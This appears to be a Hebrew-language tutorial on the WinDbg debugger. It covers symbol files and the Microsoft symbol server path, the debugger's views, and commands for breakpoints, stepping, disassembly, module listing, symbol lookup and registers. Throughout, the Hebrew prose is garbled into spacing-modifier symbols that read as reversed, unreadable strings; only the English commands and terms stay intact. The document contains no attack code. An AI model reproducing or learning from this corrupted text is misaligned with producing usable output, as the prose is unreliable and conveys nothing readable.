˟ ˢˮˣ˩ˬˢ ˸˞ ˸ˣ˞˶˪ ˢ˧ˢ˧ ˭˸˧ˮˣ-vmmon.exe. 

 

-˟windbg ˢˡˣ˵˲˟ ˷ˬ˸˷ˮ ,g  ˸˞ ˶˧ˡˠˮ ,ˢ˸˰ .ˢ˪˷ ˢ˧˧˪˰ˢ ˨˧˪ˢ˸ ˸˞ ˫˧˧˯˪ ˢˮˣ˩ˬ˪ ˸˸˪ ˸ˮˬ ˪˰

windbg .˫˧˪ˣ˟ˬ˧˯ ˞ˣ˴ˬ˪ ˪˩ˣ˧˷ ˨˩ 

) ˫˧˪ˣ˟ˬ˧˯Symbols) ˫ˡ˞˪ ˢ˞˧˶˵ ˢ˶ˣ˴˟ ˰ˡ˧ˬ ˠˣ˴˧˧˪ ˷ˬ˷ˬˢ ˫˧ˮˣ˸ˮ ˯ˣ˲˧˦ ˫ˢ (human-readable .(

 ˫˧˶˲˯ˬ˪ ˫˷ ˪˷ ˢˡˬ˴ˢ ˫ˢ ,˶˸ˣ˧˟ ˧˪˞˧ˣˣ˧˶˦ˢ ˷ˣˬ˧ˬ˟-  ˸˟ˣ˸˩ˢ ,ˢˬˠˣˡ˪ ,˨˩0x41abcd ˪ ˨ˣ˲ˢ˸-

MyAwesomeFunction  ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯ ˫ˮ˷˧ .˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˪ˣ˟ˬ˧˯˪ ˢ˷˧ˠ ˢ˧ˢ˸ ˣˮ˪˷ ˶ˠ˞˟˧ˡ˪ ˫˞

 ˧˴˟˵ ˣˬ˩ ,˫˧˪ˣ˟ˬ˧˯PDB ˨˶˰ ˪˰˟ ˰ˡ˧ˬ ˪˟˵˪ ˪˩ˣˮ ,ˣ˸ˣ˞ ˭˧˟ˢ˪ ˰ˡˣ˧ˣ ˦ˬ˶ˣ˲˟ ˨ˬˣ˸ ˶ˠ˞˟˧ˡˢˣ ˢˡ˧ˬ˟ .

 ˰ˡ˧ˬˢ .˫˧ˮ˟ˬˣ ˫˧˧˪˟ˣ˪ˠ ˫˧ˮ˸˷ˬ ,˸ˣ˧˴˵ˮˣ˲ ˪˷ ˸ˣˬ˷ ˣˬ˩ ,ˠˣ˟˧ˡˢ ˨˪ˢˬ˟ ˟˶ ,˟˶ ˭ˬˤ ˣˮ˪ ˨ˣ˯˥˧ ˢˤˢ

˪ ˫ˠ ˫˧˧˷ˣˬ˧˷ ˫˧˪ˣ˟ˬ˧˯ .ˣˮ˪˷ ˠˣ˟˧ˡˢ ˨˧˪ˢ˸ ˸˞ ˸˧˸ˣ˰ˬ˷ˬ ˪˵˧ˣ-Disassemblers  ˵˷ˬˬ˸ˢ˪ ˫˧˰ˡˣ˧˷

 ˣˬ˩ ,˫˸˧˞IDA. 

˪ ˟˧˸ˮ ˶ˣˬ˷˪ ˫˧˪ˣ˩˧ ˫˧˪˲ˬˣ˵ˬ ˫˧˴˟˵-PDB  ˪ˣ˩˧ ˶ˠ˞˟˧ˡˢ ˨˩ˣ ,ˣˬ˴˰ ˳˟ˣ˵ˢ ˨ˣ˸˟ ˫ˢ˪˷ ˧˦ˮˣˣ˪˶ˢ

 ˭˧ˣˣ˩ˢ˪ ˨˶˦˴ˮ ,˞˴ˬˮ ˞˪ ˟˧˸ˮˢ ˫˞ .ˣ˸ˣ˞ ˷˲˥˪ ˳˟ˣ˵ ˣˮ˪ ˷˧ ,ˣ˟ ˵ˣ˯˰ˮ˷ ˶˟˧˧˶ˡ˟ .˷˲˥˪ ˭˩˧ˢ ˣ˸ˣ˞

.ˣˮ˪˷ ˢˡˣ˟˰ˢ ˪˰ ˸˧˸ˣ˰ˬ˷ˬ ˪˵ˬ ˞ˣˢ˷ ˢ˞˶ˮ ˨˷ˬˢ˟ˣ ,˫˧˪ˣ˟ˬ˧˯ 

 ˳˟ˣ˵˪ ˫˧˪ˣ˟ˬ˧˯ ˢ˴˶ˮ ˫˞ ˢ˶˵˧ ˢˬ ˪˟˞ntdll ?ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˫˰ ˰˧ˠˬ˷ ˶˥˞ ˳˟ˣ˵ ˪˩˪ ˣ˞ ?ˢˬˠˣˡ˪ ,

˷ ˫˧˧˶˞ˮ˧˟ˢ ˟ˣ˶ ˶ˣ˟˰ ˫˧˧˶ˣ˟˧˴ ˫˧˪ˣ˟ˬ˧˯ ˫˧˵˲˯ˬ ˦˲ˣ˯ˣ˶˵˧˧ˬ ,ˣˮ˪ˤˬ˪ ˫˧˷˧ˠˮ ˣ˪˪ˢ ˫˧˪ˣ˟ˬ˧˯ˢ .˫ˢ˪

˟ ˣ˧˪˞ ˸˷ˠ˪ ˭˸˧ˮ˷ ,˫˧˪ˣ˟ˬ˧˯ ˸˶˷ ˨˶ˡ-http://msdl.microsoft.com/download/symbols ˶˧ˡˠˮ ˫˞ .
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 ˸˞windbg  ˭˸˧ˮ .ˣˮ˸ˡˣ˟˰ ˨˪ˢˬ˟ ˦˲ˣ˯ˣ˶˵˧˧ˬ ˪˷ ˫˧˧˶ˣ˟˧˴ˢ ˫˧˪ˣ˟ˬ˧˯ˢˬ ˸ˣˮˢ˧˪ ˪˩ˣˮ ,˸˶˷˪ ˢˮ˲˧˷ ˨˩

 ˫ˢ˟ ˫˧˟˧˸ˮˢ ˸˞ ˶˧ˡˠˢ˪windbg  ˢˬ˩˟ ˫˧˪ˣ˟ˬ˧˯ ˷˲˥˧ˢ ˪˷ ˢ˶ˡˠˢ ˧ˡ˧ ˪˰ ˞˧ˢ ˸˥˞ˢ ,˫˧˩˶ˡ-

Symbol Search Path ) ˣˬ˴˰ ˶ˠ˞˟˧ˡˢ ˨ˣ˸˟Ctrl+S  ˸˞ ˶˧ˡˠˢ˪ ˭˸˧ˮ ˣ˟ ˧˦ˮˣˣ˪˶ˢ ˭ˣ˪˥ˢ ˸˞ ˥˸˲˧

 ˧˪˟ˣ˪ˠˢ ˢˮ˸˷ˬˢ ˸˶ˡˠˢ ˧ˡ˧ ˪˰ ˞˧ˢ (˶˸ˣ˧ ˢ˦ˣ˷˲ˢˣ) ˢ˧˧ˮ˷ˢˣ ,(˫˧˟˧˸ˮˢ_NT_SYMBOL_PATH ˣˢˤ .

ˣ ,˫˧˪ˣ˟ˬ˧˯ ˧ˬˣ˵˧ˬ ˷ˣ˲˧˥˪ ˧˦˶ˡˮ˦˯ˢ ˧˪˟ˣ˪ˠˢ ˢˮ˸˷ˬˢ-windbg  ˣˬ˩) ˸ˣ˲˯ˣˮ ˸ˮ˩˸ˣIDA ˣ˟ ˣ˷ˬ˸˷˧ (

:˞˟ˢ ˨˶˰ˢ ˣ˪ ˵ˮ˰ˣ˧˷ ˨˩ ˣ˸ˣ˞ ˶˧ˡˠˮ .˸˩˶˰ˬ˟ ˶ˡˠˣˬ ˞ˣˢ ˫˞ ˪ˡ˥ˬ ˸˶˧˶˟˩ 

srv*c:\symbols*http://msdl.microsoft.com/download/symbols ˨˶ˣ˴ˢ ˸˰˟˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ

˟ ˷ˣ˲˧˥ ˰˴˟˸˧ ,˫˧˪ˣ˟ˬ˧˯˟-C:\Symbolsˢ ˣ˞) ˶ˠ˞˟˧ˡˢ ,˫˷ ˞˪ ˫ˢˣ ˢˡ˧ˬ˟ .ˣ˸ˢˮ˩  (˪ˣ˟ˬ˧˯ ˢ˴ˣ˶˷

˟ ˣ˸ˣ˞ ˭˯˥˞˸ˣ ˪ˣ˟ˬ˧˯ˢ ˸˞ ˣˮˬˬ ˡ˧˶ˣ˸ ,˦˲ˣ˯ˣ˶˵˧˧ˬ ˪˷ ˫˧˪ˣ˟ˬ˧˯ˢ ˸˶˷˪ ˷ˠ˧˸-C:\Symbols ˨˩ ,

) ˭ˣˬ˦ˬ˩ ˸˷ˬ˷ˬ ˢ˧˧˵˧˸ˢ˷cache ˢ˧ˢ˸ ˶˟˰˟ ˣ˷˲ˣ˥ ˶˟˩˷ ˫˧˪ˣ˟ˬ˧˯˪ ˢ˷˧ˠˢ˷ ˸ˮˬ ˪˰ ˸˞ˤˣ ,˧ˬˣ˵ˬ (

.˶˸ˣ˧ ˢ˶˧ˢˬ 

ˢ ˸˞ ˸ˣˮ˟˪ˣ ˪ˮ˶˵˟ "˦˦˥˪" ˪˧˥˸ˢ˪ ˪˩ˣˮ ,ˢ˸˰-shellcode ˷ ˸ˣˡˣ˵˲ ˶˲˯ˬ ˶ˣ˵˯ˮ ˢˤ ˧ˮ˲˪ ˨˞ ,ˣˮ˪

windbg .˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˣˮ˪ ˣ˶ˤ˰˧˷ ˸ˣ˧˷ˣˬ˧˷ 

WinDbg ˸˥˞ ˪ˠ˶ ˪˰ 

 ,˶ˣˬ˞˩WinDbg ˩ ˫ˠ ˷ˬ˷˪ ˪ˣ˩˧˷ ˶ˠ˞˟˧ˡ ˞ˣˢ-ring-0 debugger ˩ ˫ˠˣ-ring-3 debugger  ˰˧ˠˬ ˞ˣˢˣ

ˢ ˫˰ ˡ˥˧˟-WDK˫˧˪ˣ˟ˬ˧˯ ˧˴˟˵ ˫˰ ˵˷ˬˬ˸ˬ ˞ˣˢ ,˦˲ˣ˯ˣ˶˵˧˧ˬ ˧ˡ˧ ˪˰ ˥˸ˣ˲ˬ ˶ˠ˞˟˧ˡˢ .  ˭˲ˣ˞˟

 ˠ˟ˡ˪ ,(˧˪˟ˬ˯˞ ˸ˣ˞˶ˣˢ ˸ˬ˶˟ ˵˶ ˞˪ˣ) ˶ˣ˵ˬ ˧˴˟˵ ˠ˟ˡ˪ ˪ˠˣ˯ˬ ,˧˦ˬˣ˦ˣ˞memory dumps  ˫˧˶˴ˣˮ˷)

 ˧˶˥˞BSoD- .˸ˣ˟˥˶ˢ ˸ˮ˧˰˦˪ ˭ˣˮˠˮˬ ˪˰˟ˣ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˮˣ˩ˬˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˫˰ ˟˦˧ˢ ˵˷ˬˬ˸ˬ ,(˫˧

 ˫˧˧˵˷ ˶˸ˣ˧˟ ˵ˤ˥ˢ ˶ˠ˞˟˧ˡˢ ˣˢˤ-˪Windows. 

) ˧˲˶ˠ ˷ˬ˸˷ˬ ˵˷ˬˬ ˶ˠ˞˟˧ˡ˪GUIˬ ˧ˡ ( ˸ˣˮˣ˪˥ ˧˸˸ ˪˰ ˯˯ˣ˟ˬ˷ ,˭˷ˣ˧-  ˧ˮ˧ˬ ˪˩˟ ˨ˬˣ˸ ˶ˠ˞˟˧ˡˢ

views ˢ ˞˶˵ˮ˷ ,˧˷˞˶ˢ ˭ˣ˪˥˪ ˱˧˯ˣˢ˪ˣ ˥ˣ˸˲˪ ˭˸˧ˮ˷-workspaceˢ ˸˞ ˣˮˠ˶˞˷ ˶˥˞˪ .-workspace 

 ˶˲˯ˬ ˫ˮ˷˧ .˸ˣ˞˟ˢ ˸ˣ˴˶ˢ˟ ˣ˸ˣ˞ ˭ˣ˰˦˪ˣ ˣ˸ˣ˞ ˶ˣˬ˷˪ ˭˸˧ˮ ,ˣˮ˸ˣ˧˥ˣˮ˪views :ˣˬ˩ ,˫˧ˮ˧˧ˮ˰ˬ 

¶ Disassemblyˢ ˸˞ ˠ˧˴ˬ ,˞ˣˢ ˭˩ ˣˬ˷˩ :-disassembly  ,ˢ˴˶ˢ ˭ˬˤ˟ .(ˣˮ˸˶˧˥˟˪) ˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˟

.˭˧˰˪ ˦˪ˣ˟ ˭˲ˣ˞˟ ˢ˟ ˣˮ˶˴˰˷ ˸˧˥˩ˣˮˢ ˢˡˣ˵˲ˢ ˸˞ˣ ˣ˶ˡˠˣˢ˷ ˢ˶˧˴˰ ˸ˣˡˣ˵ˮ ˭ˬ˯ˬ 

¶ Memoryˢ ˸˶ˤ˰˟ ˭ˣ˶˩˧ˤˢ ˸˞ ˨ˣ˶˰˪ ˭˸˧ˮ .˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤˢ ˸˞ ˠ˧˴ˬ :-view. 

¶ Registers.˰ˠ˶ ˪˩˟ ˫˧˶ˠˣ˞˟ ˫˧ˮ˯˥ˣ˞ˬˢ ˫˧˩˶˰ˢ ˸˞ ˠ˧˴ˬ : 

¶ Call Stackˢ ˸˞ ˠ˧˴ˬ :-call stack .˸˦˶ˣ˲ˬˣ ˢ˥ˣˮ ˢ˶ˣ˴˟ ˧˥˩ˣˮˢ 

¶ Locals.ˣˮ˪ ˷˧ˠˮ ˶ˣ˵ˬˢ ˡˣ˵ ˶˷˞˩ ˡˣ˞ˬ ˥ˣˮ .˫˧˧˪˞˵ˣ˪ˢ ˫˧ˮ˸˷ˬˢ ˪˷ ˫˧˩˶˰ˢ ˸˞ ˠ˧˴ˬ : 

¶ Commandˢ ˣˢˤ :-view  ˸ˣˬ˧˧˵˷ ˸ˣˮˣ˷ˢ ˸ˣˡˣ˵˲ˢ ˪˪˷ ˸˞ ˳˧˶ˢ˪ ˭˸˧ˮ ˣ˟ ,˶˸ˣ˧˟ ˧˸ˬ˴ˣ˰ˢˣ ˟ˣ˷˥ˢ

.ˣ˪˷ ˸ˣ˟˥˶ˢ˟ˣ ˶ˠ˞˟˧ˡ˟ 
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ˣˡˣ˵˲ ˶˲˯ˬ ˶ˣ˵˯ˮ:˸ˣ˧˷ˣˬ˧˷ ˸ 

¶ .hh˟ˡ˪ ˶˷˲˞ ˧˞ : ˶ ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ .˸ˣˡˣ˵˲ˢ ˪˰ ˡˣ˰˧˸ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˡ˴˧˩ ˶˞˸˪ ˧˪˟ ˸ˣˡˣ˵˲ ˪˰.hh 

" ˸˟˧˸˩ .ˢˡˣ˵˲ ˪˩ ˪˰ ˡˣ˰˧˸ ˞ˣ˴ˬ˪ ˭˸˧ˮ.hh bp ˡˣˬ˰ˢ ˪˷ ˢ˥˧˸˲˪ ˫ˣ˶ˠ˸ ˢˡˣ˵˲ˢ ˸˶ˣ˷˟ "

 ˢˡˣ˵˲ˢ ˪˰ ˧˦ˮˣˣ˪˶ˢbp  ˪˷ ˢ˧˴˦ˮˬˣ˵ˣˡ˟WinDbg. 

¶ Go (g) ˢˡˣ˵˲ˢ :g ˢ/˸˪˧˥˸˪ ˫ˣ˶ˠ˸) ˭ˣ˩˧˪ˢ˸/˨˧˪ˢ˸ˢ ˪˷ ˢ˴˶ˢˢ ˨˷ˬthread ˡ˰ ˣ˞ ˣ˲ˣ˯˪ ˡ˰ (

 ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ ˢ˶˧˴˰ ˸˟ˣ˸˩ ˭˧˧˴˪ ˫ˠ ˭˸˧ˮ .(ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˣˬ˩) ˶ˠ˞˟˧ˡˢ ˸˞ ˳˧˲˵˧˷ ˶˥˞ ˰ˣ˶˧˞˪

 ˢˡˣ˵˲ˢ .ˣˤˢgu ) ˢ˶ˤ˥ˢ ˶˥˞˪ ˡ˧ˬ ˡ˰ ˢ˴˧˶ ˨˷ˬˢ˪ ˫ˣ˶ˠ˸ret.ˢ˞˟ˢ ( 
 

¶ Step (p) ˢˡˣ˵˲ˢ :p ˷ ˣ˞ ˸˥˞ ˢˡˣ˵˲ :ˡ˥˞ ˡ˰˴ ˸˴˶ˢ˪ ˫ˣ˶ˠ˸ ˟˴ˬ˪ ˫˞˸ˢ˟) ˸˥˞ ˡˣ˵ ˸˶ˣ

 .˶ˠ˞˟˧ˡ˪ ˢ˦˧˪˷ˢ ˸˞ ˶˧ˤ˥˸ˣ ˸˧ˮ˩˸ˢ ˸˴˶ˢ ˸˞ ˶ˣ˴˰˸ ˭˩ˬ ˶˥˞˪ˣ ,(˫˧˞˴ˬˮ ˣˮ˥ˮ˞ ˣ˟ ˠˣ˟˧ˡˢ

) ˸ˣ˵˧˯˲ ˣ˞ ˭ˣ˶˩˧ˤ˟ ˸ˣ˶˥˞ ˸ˣ˟ˣ˸˩˪ ˸ˣ˞˧˶˵interrupts ˰˴˟ˬ) ˡ˥˞ ˡ˰˴ ˸ˣ˟˷˥ˮ (step-over .(

 ˢˡˣ˵˲ˢpa  ˢˡˣ˵˲˪ ˢ˪ˣ˵˷p ˸˩ ˡ˰ ˢˡ˧˰˴ ˸˶˷˲˞ˬ ˨˞ ,ˡ˰˴ˢ ˸˶ˡˠˢ ˸ˮ˧˥˟ˬ .˸ˬ˧ˣ˯ˬ ˸˟ˣ

 ˢˡˣ˵˲ˢpt .ˢ˶ˤ˥ˢ ˧ˮ˲˪ ˡ˰ ˢˡ˧˰˴˪ ˫ˣ˶ˠ˸ 
 

¶ Trace )t( ˢˡˣ˵˲ˢ :t  ˸ˣ˞˧˶˵ ˶˥˞ ˫ˠ ˟˵˰ˬ ˰˴˟˸ˬ˷ ˨˩ ,˸˥˞ ˡˣ˵ ˸˶ˣ˷/ˢˡˣ˵˲ ˸˴˶ˢ˪ ˫ˣ˶ˠ˸

 ˰˴˟ˬ) ˸ˣ˵˧˯˲ ˣ˞ ˸ˣ˟ˣ˸˩˪step-into ˢˡˣ˵˲ˢ ˶ˣ˟˰ ˫ˠ .(t ˸ˣˡˣ˵˲ˢ ˫ˠ ˸ˣˬ˧˧˵ ,ta x-tt. 
 

¶ Unassemble )u(:  ˢˡˣ˵˲ˢu  ˰ˣ˴˧˟˪ ˫ˣ˶ˠ˸diassembling  ˭˸˧ˮ .˭ˣ˶˩˧ˤ˟ ˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩ˬ ˪˥ˢ

ˢ ˸˞ ˪˧˥˸ˢ˪ ˢ˴˶ˮ ˢˮˬˬ ˸˟ˣ˸˩ˢ ˸˞ ˢˡˣ˵˲˪ ˶˧˟˰ˢ˪-diassembly  ˫˧˷ˬ˸˷ˬ ,˪ˡ˥ˬ ˸˶˧˶˟˩)

ˢ ˰˟˴ˬ ˢ˧˪˞ ˸˟ˣ˸˩˟-instruction pointer ˰˴˟˪ ˢ˴˶ˮ ˣ˪ ˥ˣˣ˦ˢ ˸˞ ˭˩ˣ (diassembling ˫ˠ ˸ˣˬ˧˧˵ .

 ˸ˣˡˣ˵˲ˢub ˸˰˴˟ˬ ˶˷˞ ,disassembly ˣ ,˸˧ˮ˶ˣ˥˞-uu ˸˰˴˟ˬ ˶˷˞ ,disassembling  ˢ˧˴˵ˮˣ˲ˢ ˪˩˪

.ˢ˧˪˞ ˸˶˟˰ˣˬ˷ ˸˟ˣ˸˩˟ ˢ˪˧˥˸ˬ ˶˷˞ 
 

¶ Breakpoints :˭ˮ˷˧ ˧˸˷ ˸ˣ˥˲˷ˬ ˪˷ ˸ˣˡˣ˵ˮ ˢ˶˧˴˰ - ˸ˣˡˣ˵ˮ ˢ˶˧˴˰ ˸ˣ˧˸ˮ˩ˣ˸ )software 

breakpoint (˸ˣˡˣ˵ˮˣ ˢ˶˧˴˰ ˸ˣ˧˸˶ˬˣ˥ )hardware breakpoint.( 

o  ˸ˣˡˣ˵˲ˢbp, bu x-bm  ˢ˶˧˴˰ ˸ˣˡˣ˵ˮ ˸ˣ˶˧ˡˠˬ˸ˮ˩ˣ˸˧ ˢˡˣ˵˲ˢ .˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˟ ˸ˣbp  ˶ˣ˴˧˸

 ˸˟ˣ˸˩ ˣ˞ ˪ˣ˟ˬ˧˯ ˫˞ ˭˧˟) ˢ˪ ˶˟˰ˣˬ˷ ˦ˮˬˣˠ˶˞ˢ ˯˥˧˧˸ˬ ˢ˧˪˞ ˸˟ˣ˸˩˟ ˢ˶˧˴˰ ˸ˡˣ˵ˮ

 ˸˶ˬˣˬ ˞˧ˢ ,˸˯˥˧˧˸ˬ ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ ˢ˧˪˞ ˸˧˦ˮˣˣ˪˶ ˸˟ˣ˸˩ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˞˪ ˫˞ .(˸˵˧ˣˡˬ

˪ ˸˧˦ˬˣ˦ˣ˞-bu ˢˡˣ˵˲ˢ .bu ) ˢ˧ˣ˥ˡ ˣ˞ ˢ˶ˣ˸˲ ˞˪ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˶ˣ˴˧˸unresolved/deferred ,(

 ˪˧˥˸˸ˣ ,(ˢˬ˴˰ ˸˟ˣ˸˩ˢ ˪˰ ˞˪ˣ) ˶ˣ˴˰˪ ˢ˴˶ˮ ˢ˟ ˸˟ˣ˸˩˪ ˸˧˪ˣ˟ˬ˧˯ ˢ˧ˮ˲ˢ ˪˰ ˸˯˯˟˸ˬ ˞˧ˢˣ

 ˢˡˣ˵˲ˢ .˭˰˦˧˧ ˸˯˥˧˧˸ˬ ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ ˣ˧˪˞ ˪ˣˡˣˬˢ˷ ˰ˠ˶˟ ˸˧˟˧˦˵˲˞ ˸ˣ˧ˢ˪bm  ˸ˡˣ˵ˮ ˶ˣ˴˧˸

,ˢˬˠˣˡ˪) ˫˧ˣ˯ˬ ˯ˣ˲ˡ˪ ˫˧˪ˣ˟ˬ˧˯ ˸ˬ˞˸ˢ ˯˧˯˟ ˪˰ ˢ˶˧˴˰bm myprogram!mem*.( 

o  ˢˡˣ˵˲ˢba  ˢ˴˶ˮ ˢ˶ˣ˟˰ ˢ˷˧ˠˢ ˠˣ˯ ˸˞ ˶˧ˡˠˢ˪ ˨˶˦˴ˮˣ ,˸ˣ˧˸˶ˬˣ˥ ˢ˶˧˴˰ ˸ˣˡˣ˵ˮ ˢ˶˧ˡˠˬ

 ˫ˢ ˫˧˧˶˷˲˞ˢ ˢ˷˧ˠˢ ˧ˠˣ˯ .ˢ˴˶ˢˢ ˸˞ ˶ˣ˴˰˪e -  ,ˢ˴˶ˢ˪r -  ,ˢ˟˧˸˩/ˢ˞˧˶˵˪w -  ,ˢ˟˧˸˩˪i - 

 ˸ˣ˪ˣ˰˲˪I/O.˧˦ˮˣˣ˪˶ˢ ˢ˷˧ˠˢ ˪ˡˣˠ ˸˞ ˶˧ˡˠˢ˪ ˷˧ ,˭˩ ˣˬ˩ . 
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¶ ˢˡˣ˵˲ˢ bl ˸˷ˬ˷ˬ ˸ˠ˴ˢ˪ ˸ˣˡˣ˵ˮ ˢ˶˧˴˰ˢ ˸ˣ˶ˡˠˣˬˢ ,˲ˢˢˡˣ˵ bd ˸˷ˬ˷ˬ ˢ˧ˢ˷ˢ˪ ˪˷ ˸ˣˡˣ˵ˮ 

ˢ˶˧˴˰ ˢˡˣ˵˲ˢˣ bc ˸˷ˬ˷ˬ ˸˶˯ˢ˪ ˸ˣˡˣ˵ˮ ˢ˶˧˴˰ ˸ˣ˸˧ˬ˴˪. 

¶ List Loaded Modules )lm( ˢˡˣ˵˲ˢ :lm  ˫ˮ˷˧ .˫˧ˮˣ˰˦ˢ ˫˧˪ˣˡˣˬˢ ˪˰ ˰ˡ˧ˬ ˸ˠ˴ˢ˪ ˸˷ˬ˷ˬ

 ˸˞ ˶˧˟˰ˮ ˫˞ ,ˢˬˠˣˡ˪ ˨˩ ,˫˧ˮˣ˷ ˰ˡ˧ˬ ˧˦˶˲ ˠ˧˴ˢ˪ ˸ˮˬ ˪˰ ˢ˪ ˶˧˟˰ˢ˪ ˭˸˧ˮ˷ ˫˧˟˶ ˫˧˶˦ˬ˶˲

 ˫˧˪ˠˡˢv ˴ˢ˪) ˶˸ˣ˧ ˦˶ˣ˲ˬ ˰ˡ˧ˬ ˸ˠ- verboseˣ (-m nt )m  ˵˶ ˠ˧˴ˢ˪ ˢˡˣ˵˲˪ ˫ˣ˶ˠ˧ ˶˦ˬ˶˲ ˱ˣ˶˧˴˟

 ˢˤˢ ˢ˶˵ˬ˟ ,˶˦ˬ˶˲ˢ ˧˟ˠ ˪˰ ˶˟˰ˣˬ˷ ˯ˣ˲ˡ˪ ˫˧ˬ˧˞˸ˬ˷ ˫˧˪ˣˡˣˬˢ ˸˞- nt ˸˞ ˳˧˶ˮ ˶ˬˣ˪˩ ,(

 ˢˡˣ˵˲ˢlmv m nt ˪ˣˡˣˬˢ ˪˰ ˦˶ˣ˲ˬ ˰ˡ˧ˬ ˣˮ˪ ˠ˴ˣ˧ ,nt. 
 

¶ !sym ˢˡˣ˵˲ˢ :!sym ˶ˠ˞˟˧ˡˢ ˸ˣˠˢˮ˸ˢ ˪˰ ˢ˦˧˪˷ ˸˶˷˲˞ˬ  ,˸˶ˤ˰˟ .˫˧˪ˣ˟ˬ˧˯ˢ ˸ˮ˧˰˦ ˸˰˟

 ˣ˯˲ˡˣ˧˷ ˢˮ˧˰˦ˢ ˪˰ ˫˧ˡ˧˰ˬˢ ˫˧˦˪˲ ˫˰ ,˶ˬˣ˪˩) "˸˷˰ˣ˶" ˢ˧ˢ˸ ˢˮ˧˰˦ˢ˷ ˶˧ˡˠˢ˪ ˭˸˧ˮ ,ˢˡˣ˵˲ˢ

 ˸˴˶ˢ ˸˶ˤ˰˟ (˶ˠ˞˟˧ˡ˪!sym noisy ˸˶ˤ˰˟ ˢ˦˵˷ ˣ˞ ,!sym quiet ˪˷ ˸ˣˠˢˮ˸ˢˢ ˸˞ ˶˧ˡˠˢ˪ ˭˩ˣ ,

 ˫˧˪ˣ˟ˬ˧˯ ˸˶˷ˬ ˢ˧˴˵˧˦ˮ˸ˣ˞ ˢ˷˵˟ ˸˰˟ ˶ˠ˞˟˧ˡˢ-  ˸˴˶ˢ!sym prompts  ˶ˠ˞˟˧ˡˢ˷ ˨˩˪ ˫ˣ˶ˠ˸

ˣ ,˸˶˷ˢˬ ˢ˧˴˵˧˦ˮ˸ˣ˞ ˸˷˵˟ ˸˰˟ ˸ˣˢˡˤˢ ˠˣ˪˞˧ˡ ˳˧˲˵˧-!sym prompts off  ˸ˣˬ˪˰˸ˢ˪ ˫ˣ˶ˠ˸

 ˸˴˶ˢ .(˫ˢ˧˪˞ ˸˷ˠ˪ ˪˩ˣˮ ˞˪˷ ˫˧˪ˣ˟ˬ˧˯ ˣ˧ˢ˧˷ ˨˩˪ ˫ˣ˶ˠ˪ ˪ˣ˪˰˷ ˢˬ) ˢ˧˴˵˧˦ˮ˸ˣ˞ ˸ˣ˷˵˟ˬ!sym 

 ˢˡˣ˵˲ˢ .˸ˣ˧˥˩ˣˮˢ ˸ˣ˶ˡˠˢˢ ˸˞ ˢ˞˶˸ ˫˧˦ˮˬˣˠ˶˞ ˧˪˟!sym noisy ˢ˪˧˰˧ ˢ˧ˢ˸  ˭ˢ˟ ˸ˣ˟˶ ˫˧ˬ˰˲

.˫˧˪ˣ˟ˬ˧˯ˢ ˸ˮ˧˰˦ ˫˰ ˸ˣ˧˰˟˟ ˪˵˸˧ˮ 
 

 

¶ .reload  ˪ˠˡˢ .˫˧ˣ˯ˬ ˪ˣˡˣˬ˪ ˫˧˶ˣ˷˵ˢ ˫˧˪ˣ˟ˬ˧˯ˢ ˪˩ ˪˷ ˷ˡ˥ˬ ˢˮ˧˰˦˪ ˫ˣ˶ˠ˸/f  ˸˞ ˥˧˶˩˧

 ˶˷˲˞˸ ˞˪ˣ) ˧ˡ˧ˬ ˭˲ˣ˞˟ ˢˮ˧˰˦ˢ ˸˞ ˰˴˟˪ ˶ˠ˞˟˧ˡˢlazy loading ˪ˠˡˢˣ ,(/v  ˟˴ˬ˟ ˢˮ˧˰˦ ˰˴˟˧

verbose ˨˪ˢˬ˟ ˶˸ˣ˧ ˟˶ ˰ˡ˧ˬ ˯˲ˡˣ˧ ˶ˬˣ˪˩) .(˷ˡ˥ˬ ˢˮ˧˰˦ˢ 
 

¶ Examine Symbols )x( ˢˡˣ˵˲ˢ :x  .˦ˮˬˣˠ˶˞˩ ˶˰ˣˬ˷ ˯ˣ˲ˡ˪ ˫˧ˬ˧˞˸ˬ˷ ˫˧˪ˣ˟ˬ˧˯ˢ ˪˩ ˸˞ ˠ˧˴˸

 ˸˴˶ˢ ,ˢˬˠˣˡ˪x nt!*File*  ˪ˣˡˣˬ˟ ˫˧˞˴ˬˮ˷ ˫˧˪ˣ˟ˬ˧˯ˢ ˪˩ ˸˞ ˯˧˲ˡ˸nt  ˢ˪˧ˬˢ ˸˞ ˫˧˪˧˩ˬ˷File. 
 

¶ Registers )r( ˢˡˣ˵˲ˢ :r ,ˢˬˠˣˡ˪ .˫˧˶ˠˣ˞ ˪˰ ˰ˡ˧ˬ ˨ˣ˶˰˪ ˣ˞ ˠ˧˴ˢ˪ ˸˶˷˲˞ˬ r eax  ˨˶˰ˢ ˸˞ ˠ˧˴˧

˟ ˞˴ˬˮˢ-eaxˣ ,-r eax=1  ˨˶˰ˢ ˸˞ ˟˧˴˸1 ˟-eax. 
 

¶ Display Referenced Memory (˭ˣ˶˩˧ˤ ˸ˠ˴ˢ) ˸ˠ˴ˢ˟ ˸ˣ˵˯ˣ˰ˢ ˸ˣˡˣ˵˲ ˪˷ ˢˬ˪˷ ˢ˥˲˷ˬ ˸ˬ˧˧˵ :

˟ ˸ˣ˪˧˥˸ˬ ˭˪ˣ˩ .˭ˣ˶˩˧ˤ-d ˸˶ˤ˰˟ .˦ˮˬˣˠ˶˞˩ ˢˡˣ˵˲˪ ˸˶˟˰ˣˬ˷ ˸˟ˣ˸˩ˢˬ ˪˥ˢ ˭ˣ˶˩˧ˤˢ ˸˞ ˸ˣˠ˧˴ˬˣ ,

